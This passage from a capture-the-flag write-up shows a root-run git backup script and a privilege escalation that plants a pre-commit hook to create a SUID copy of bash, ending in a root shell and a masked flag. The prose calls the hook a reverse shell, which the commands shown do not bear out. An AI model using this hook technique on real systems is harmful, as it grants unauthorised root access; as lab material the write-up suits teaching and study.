#!/bin/bash

cd /home/dev01/

if ! git status --porcelain; then
    echo "No changes"
else
    day=$(date +'%Y-%m-%d')
    echo "Changes detected, pushing.."
    git add .
    git commit -m "Backup for ${day}"
    git push origin main
fi

Getting root

The overall idea to escalate privileges is about root commiting changes after navigating to the /home/dev01 directory. So I can add a hook in the .git/hooks/ directory which is a script that will get executed by any user running a specific git command.

There are many types of hooks, for example a pre-commit hook will run before the user commits a change. On the other hand, a post-commit hook will run after the commit takes place, and there are others depending on the actions taken like push etc…

So, I’ll add a new file in .git/hooks/ called pre-commit that contains a reverse shell and make it executable and this will run whenever any user makes a commit in this repo/directory. And since root is making commits when any change is made to the directory, I’ll also create a new file.

To get root:

touch ~/dummyfile
touch ~/.git/hooks/pre-commit;
chmod +x ~/.git/hooks/pre-commit;
echo -e '#!/bin/bash\ncp /bin/bash /tmp/newbash;\nchmod u+s /tmp/newbash' > ~/.git/hooks/pre-commit

After waiting some time, a new SUID bash file has been created in /tmp

dev01@opensource:~$ ls -l /tmp/newbash 
-rwsr-xr-x 1 root root 1113504 Oct  6 09:30 /tmp/newbash
dev01@opensource:~$ /tmp/newbash -p
newbash-4.4# id
uid=1000(dev01) gid=1000(dev01) euid=0(root) groups=1000(dev01)
newbash-4.4# cat /root/root.txt
288**************************093